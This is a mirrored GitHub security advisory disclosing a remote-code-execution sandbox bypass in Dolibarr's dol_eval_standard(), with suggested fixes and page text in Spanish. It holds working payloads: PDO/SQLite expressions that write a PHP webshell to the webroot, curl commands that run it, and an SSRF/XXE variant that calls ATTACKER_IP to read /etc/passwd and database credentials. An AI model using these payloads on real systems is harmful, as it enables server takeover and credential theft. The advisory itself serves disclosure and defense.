GHSA-5CFW-655W-VQP8
Remote Code Execution through incomplete sandbox in dol_eval_standard() (computed extrafields)
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5CFW-655W-VQP8 divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Remote Code Execution via dol_eval sandbox bypass in computed extrafields
Summary
A sandbox bypass in `dol_eval_standard()` allows an authenticated administrator to achieve Remote Code Execution (RCE) by creating a malicious computed extrafield. The sandbox's whitelist path fails to block arbitrary class instantiation, callable array invocations, and SQLite-based PHP file creation, resulting in a full eval-to-RCE chain.
Severity
Critical — CVSS 3.1: 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
Although the attack requires admin privileges to set up the computed field, the eval executes in the context of every user who views the affected record. A compromised or malicious admin achieves persistent RCE affecting the entire server, with potential for lateral movement via credential theft.
Affected Versions
- Dolibarr 23.0.0 (confirmed)
- Likely all versions using `dol_eval_standard()` with the default whitelist path (`$dolibarr_main_restrict_eval_methods` set)
Technical Details
The vulnerability chains three distinct sandbox bypass techniques in `core/lib/functions.lib.php`, function `dol_eval_standard()`:
Bypass 1: Unrestricted class instantiation (line 12283)
The whitelist path allows `new ClassName()` for any class, blocking only `ReflectionFunction`:
if (!preg_match('/new ([A-Z][\w]+)/i', $m, $reg)) {
// check whitelist...
} else {
if ($reg[1] == 'ReflectionFunction') { // Only this class is blocked
return 'Bad string syntax...';
}
}This allows instantiating dangerous built-in classes such as `PDO`, `SimpleXMLElement`, `SQLite3`, `SplFileObject`.
Bypass 2: Callable array syntax evades function whitelist (line 12271)
The whitelist regex `/([\s\w\'\]\"]+)\(/` detects function/method calls by matching text before `(`. However, PHP's callable array syntax `([$object, "method"])()` places a `)` before `(`, which is not in the regex character class `[\s\w\'\]\"]`. The call is invisible to the whitelist check.
Additionally, the `$forbiddenphpstrings` array containing `)(` (line 12195) is only enforced in the blacklist path (inside `if (empty($dolibarr_main_restrict_eval_methods))` at line 12204), not in the default whitelist path (line 12268+).
This allows calling arbitrary methods on instantiated objects: `([$pdo, "exec"])("SQL")`.
Bypass 3: SQLite char() avoids `<` character restriction (line 12120)
The sandbox blocks `<` followed by non-whitespace to prevent HTML/PHP tags. SQLite's `char()` function constructs the `<?php` string from integer character codes at the database level, so the literal `<` character never appears in the eval'd expression.
Full chain
The three bypasses combine into:
($var1 = new PDO("sqlite:/var/www/html/custom/shell.php")) && ([$var1, "exec"])("CREATE TABLE IF NOT EXISTS x AS SELECT char(60,63,112,104,112,32,115,121,115,116,101,109,40,39,105,100,39,41,59,63,62)")This creates a SQLite database file with a `.php` extension in the webroot. The database binary contains the literal bytes `<?php system('id');?>` (produced by SQLite's `char()` function). When accessed via HTTP, PHP's parser scans the binary, finds the `<?php` opening tag, and executes the embedded code.
Steps to Reproduce
### Prerequisites
- Dolibarr 23.0.0 installed with default configuration
- Admin account access
- The `htdocs/custom/` directory must be writable by the web server (default)
Step 1 — Enable a module with extrafields support
Navigate to Home → Setup → Modules/Applications and enable the Third Parties module.
Step 2 — Create a computed extrafield with a harmless value
Navigate to Home → Setup → Third Parties → Supplementary attributes or directly:
/societe/admin/societe_extrafields.phpClick New attribute and fill in:
- Attribute code: `rcetest`
- Label: `RCE Test`
- Type: `Varchar`
- Size: `255`
- Computed value: `1 + 1`
Save the extrafield.
Step 3 — Update the computed value to the RCE payload
Click the edit (pencil) icon on the newly created `rcetest` attribute. Change the Computed value to:
($var1 = new PDO("sqlite:/var/www/html/custom/0.php")) && ([$var1, "exec"])("CREATE TABLE IF NOT EXISTS x AS SELECT X'3C3F7068702073797374656D2827696427293B3F3E'")Save. The payload passes through the `nohtml` GETPOST filter and is stored in the database.
Note: The filename must have a digit immediately before the `.` (e.g., `0.php`, `1.php`) to bypass the dot-between-non-numbers check. The hex blob `X'3C3F..3E'` encodes `<?php system('id');?>` and avoids parentheses inside the SQL string (which would be caught by the whitelist regex).
Step 4 — Trigger the eval
Open any Third Party record (or create one). The computed extrafield is evaluated via `dol_eval()` → `eval()`, creating the SQLite/PHP file at `/var/www/html/custom/0.php`.
Step 5 — Execute the webshell
curl http://TARGET/custom/0.phpExpected output (inside SQLite binary data):
uid=33(www-data) gid=33(www-data) groups=33(www-data)The `system('id')` command executes as the web server user, confirming RCE.
<img width="939" height="232" alt="rce" src="https://github.com/user-attachments/assets/827db15b-9d3a-455b-be1d-7982b3c78f93" />
Alternative payload — Arbitrary command execution
Replace the hex blob with any command. For example, `<?php system($_GET['c']);?>`:
X'3C3F7068702073797374656D28245F4745545B2763275D293B3F3E'Then: `curl http://TARGET/custom/0.php?c=whoami`
Variant — SSRF + Arbitrary File Read (no file write needed)
Even without writing a webshell, the class instantiation bypass alone enables:
new SimpleXMLElement("http://169.254.169.254/latest/meta-data/", 0, true)This causes the server to make an outbound HTTP request (SSRF). Combined with an attacker-controlled XML server serving XXE payloads:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>...and the computed field expression:
new SimpleXMLElement("http://ATTACKER_IP:PORT/xxe", 2, true)This reads arbitrary files from the server, including `conf/conf.php` (database credentials).
Impact
- Remote Code Execution as the web server user (www-data/apache)
- Server-Side Request Forgery to internal networks and cloud metadata services
- Arbitrary File Read via XXE (including database credentials in conf.php)
- Persistence — the computed field executes on every page view by any user
- Privilege escalation — a compromised admin account leads to full server compromise
Suggested Remediation
- Block all dangerous built-in classes in the whitelist path, not just `ReflectionFunction`. Maintain an explicit allowlist of safe classes (e.g., `Task`, `Project`, `Facture` and other Dolibarr business objects).
- Check `)(` in the whitelist path. The `$forbiddenphpstrings` array (containing `)(`) is currently only enforced in the blacklist path. Apply it universally:
// Move this check BEFORE the if/else split (before line 12204):
foreach ($forbiddenphpstrings as $forbidden) {
if (stripos($s, $forbidden) !== false) {
return 'Bad string syntax to evaluate (forbidden string found): ' . $s;
}
}- Block `char(` and other SQL/encoding functions that can construct dangerous strings at runtime.
- Consider switching to AST-based analysis (e.g., `token_get_all()` approach from `dol_eval_new`) for the default path, rather than regex-based filtering.
Timeline
- 2026-03-26 — Vulnerability discovered and PoC confirmed
- 2026-03-28 — Report submitted to Dolibarr security team
Credit
Please credit CVE to: Grzegorz Tworek (F3715H) sec4check ([grzegorz.tworek@sec4check.pl](mailto:grzegorz.tworek@sec4check.pl))
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistdolibarr/dolibarr |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-5cfw-655w-vqp8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
